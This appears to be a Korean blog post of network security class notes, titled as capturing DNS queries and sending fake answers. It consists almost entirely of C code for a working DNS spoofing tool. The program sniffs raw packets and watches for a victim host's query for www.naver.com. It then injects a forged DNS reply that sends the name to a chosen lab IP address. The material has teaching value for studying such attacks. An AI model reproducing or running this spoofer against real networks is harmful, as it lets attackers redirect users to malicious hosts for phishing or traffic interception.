DNS쿼리 캡쳐 및 가짜 ANSWER보내기-네트워크 보안 수업 19일차 - 코리아 정보보안 IT학원

2016. 6. 2. 17:35네트워크 보안 수업/네트워크 취약점 분석

반응형

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/ip.h>

#include <net/if.h>

#include <net/if_arp.h>

#include <linux/if_packet.h>

#include <linux/if_ether.h>

#include <net/ethernet.h>

#include <arpa/inet.h>


struct eth_header {


        unsigned char dst[6];

        unsigned char src[6];

        unsigned short type;


} __attribute__((packed));


struct ip_header{


        unsigned char hlen:4;

        unsigned char ver:4;


        unsigned char service;

        unsigned short total;

        unsigned short id;

        unsigned char flag;

        unsigned char offset;

        unsigned char ttl;

        unsigned char type;

        unsigned short chk;

        unsigned int src;

        unsigned int dst;


} __attribute__((packed));


struct udp_header {


        unsigned short src_port;

        unsigned short dst_port;

        unsigned short length;

        unsigned short chksum;


        unsigned short transaction;

        unsigned short flag;

        unsigned short questions;

        unsigned short answer;

        unsigned short authority;

        unsigned short additional;

        unsigned char domain[20];

        unsigned short type;

        unsigned short class;


} __attribute__((packed));


struct dns_header {

        unsigned short src_port;

        unsigned short dst_port;

        unsigned short length;

        unsigned short chksum;


        unsigned short transaction;

        unsigned short flag;

        unsigned short questions;

        unsigned short answer;

        unsigned short authority;

        unsigned short additional;

        unsigned char domain[15];

        unsigned short type;

        unsigned short class;

        unsigned char name[15];

        unsigned short type2;

        unsigned short class2;

        unsigned int ttl;

        unsigned short length2;

        unsigned int addr;


} __attribute__((packed));


struct pseudo_header {

        unsigned long int src;

        unsigned long int dst;

        unsigned char zero;

        unsigned char protocol;

        unsigned short length;

        struct udp_header udp;

} __attribute__((packed));


struct dns_pseudo_header {

        unsigned long int src;

        unsigned long int dst;

        unsigned char zero;

        unsigned char protocol;

        unsigned short length;

        struct dns_header dns;

} __attribute__((packed));


unsigned short csum ( unsigned short *buf, int nwords )

{

  unsigned long sum;

  u_short oddbyte;

  register u_short answer;


  sum = 0;

  while( nwords > 1 ) {

  sum += *buf++;

  nwords -= 2;

  }


  if( nwords ==1 ) {

  oddbyte = 0;

  *((u_char *)&oddbyte) = *(u_char *)buf;

  sum += oddbyte;

  }

  sum = (sum >> 16) + (sum & 0xffff);

  sum += (sum >> 16); answer = ~sum;

  return (answer);

}


int main(int argc, char *argv[])

{

        int send_sock = 0;

        int sock = 0;

        int recv_sock = 0;

        int size = 0;

        int count1 = 0;

        int count2 = 0;

        int count3 = 0;

        int count4 = 0;

        int j=1;

        int ret = 0;


        unsigned char *ptr2;


        struct sockaddr_in addr;

        struct sockaddr_in port;


        struct sockaddr_ll sll;

        struct sockaddr_in sin;


        struct eth_header eth;

        struct ip_header ip;

        struct udp_header udp;

        struct dns_header dns;

        struct pseudo_header pseudo;

        struct dns_pseudo_header dns_pseudo;


        char recv[1024] = {0,};


        send_sock = socket(PF_PACKET, SOCK_RAW, 0);

        recv_sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));


        sll.sll_family = PF_PACKET;

        sll.sll_ifindex = if_nametoindex("enp0s3");

        sll.sll_halen = 6;


        struct eth_header * peth;

        struct ip_header * pip;

        struct udp_header * pudp;


        while(1){

                recvfrom(recv_sock, recv, sizeof(recv), 0, (struct sockaddr *)&sin, &size);


                peth = (struct eth_header *)recv;

                if(peth->type == htons(0x0800)){

                        pip = (struct ip_header *)(recv + sizeof( eth));


                        if(pip->type == 0x11){


                                pudp = (struct udp_header *)(recv + sizeof(eth)+sizeof(ip));


                                if(pip->src == inet_addr("192.168.15.16") && pudp->dst_port == htons(0x0035)){


                                        char data[sizeof( eth ) + sizeof( ip ) + sizeof( dns )] = {0,};

                                        char temp[1024] = {0,};

                                        unsigned char * ptr = data;

                                        int i = 0;

                                        int idx = 0;


                                        ptr = pudp->domain;

                                        while( *ptr != NULL ){

                                                for(i=*ptr; i>0;i--){

                                                        ptr++;

                                                        temp[idx++] = *ptr;

                                                }

                                                temp[idx++] = '.';

                                                ptr++;

                                        }

                                        temp[idx-1] = 0;

                                        ret = strcmp(temp, "www.naver.com");


                                        if( ret == 0 ){

                                                printf("found it!!!!!!\n");

                                                printf("%s \n\n", temp);


                                                //*ptr = data;


                                                eth.dst[0] = peth->src[0];

                                                eth.dst[1] = peth->src[1];

                                                eth.dst[2] = peth->src[2];

                                                eth.dst[3] = peth->src[3];

                                                eth.dst[4] = peth->src[4];

                                                eth.dst[5] = peth->src[5];


                                                eth.src[0] = peth->dst[0];

                                                eth.src[1] = peth->dst[1];

                                                eth.src[2] = peth->dst[2];

                                                eth.src[3] = peth->dst[3];

                                                eth.src[4] = peth->dst[4];

                                                eth.src[5] = peth->dst[5];

                                                eth.type = htons(0x0800);


                                                ip.ver = 0x4;

                                                ip.hlen  = sizeof( ip ) >> 2;

                                                ip.service = 0x00;

                                                ip.total   = htons( sizeof( ip ) + sizeof( dns ));

                                                ip.id      = htons( 0x1234 );

                                                ip.flag    = 0x00;

                                                ip.offset  = 0x00;

                                                ip.ttl     = 0x80;

                                                ip.type    = 0x11;

                                                ip.chk     = 0x00;

                                                ip.src     = htonl(htonl(pip->dst));

                                                ip.dst     = htonl(htonl(pip->src));

                                                ip.chk = csum( (unsigned short *)&ip, sizeof( ip ) );


                                                dns.src_port  = htons(htons(pudp->dst_port));

                                                dns.dst_port  = htons(htons(pudp->src_port));

                                                dns.length    = htons(sizeof(dns));

                                                dns.chksum    = 0x00;


                                                dns.transaction    = htons(htons(pudp->transaction));

                                                dns.flag           = htons(0x8180);

                                                dns.questions      = htons(0x0001);

                                                dns.answer         = htons(0x0001);

                                                dns.authority      = 0x0000;

                                                dns.additional     = 0x0000;

                                                memcpy(dns.domain, &pudp->domain, 15);

                                                dns.type           = htons(0x0001);

                                                dns.class          = htons(0x0001);

                                                memcpy(dns.name, &pudp->domain, 15);

                                                dns.type2          = htons(0x0001);

                                                dns.class2         = htons(0x0001);

                                                dns.ttl            = htonl(0x00000005);

                                                dns.length2        = htons(sizeof(dns));

                                                dns.addr           = inet_addr("192.168.15.254");


                                                dns_pseudo.src = ip.src;

                                                dns_pseudo.dst = ip.dst;

                                                dns_pseudo.zero = 0;

                                                dns_pseudo.protocol = 0x11;

                                                dns_pseudo.length = htons(sizeof(dns));

                                                memcpy( &dns_pseudo.dns, &dns, sizeof(dns));


                                                dns.chksum = csum((unsigned short *)&dns_pseudo, sizeof(dns_pseudo));



                                                memcpy( data, &eth, sizeof( eth ) );

                                                memcpy( data + sizeof( eth ), &ip, sizeof( ip ) );

                                                memcpy( data + sizeof( eth ) + sizeof( ip ), &dns, sizeof( dns ) );


                                                i = 0;

                                                ptr = data;


                                                for( i = 0; i < sizeof( data ); i++){

                                                        if( i != 0 && i % 16 ==0 ){ printf("\n"); }

                                                                printf("%02x ", *(ptr+i));

                                                }

                                                printf("\n");

                                                printf("\n");


                                                sendto(send_sock, data, sizeof(data), 0, (struct sockaddr *)&sll, sizeof(sll));

                                        }

                                }

                        }

                }

        }


        return 0;

}


반응형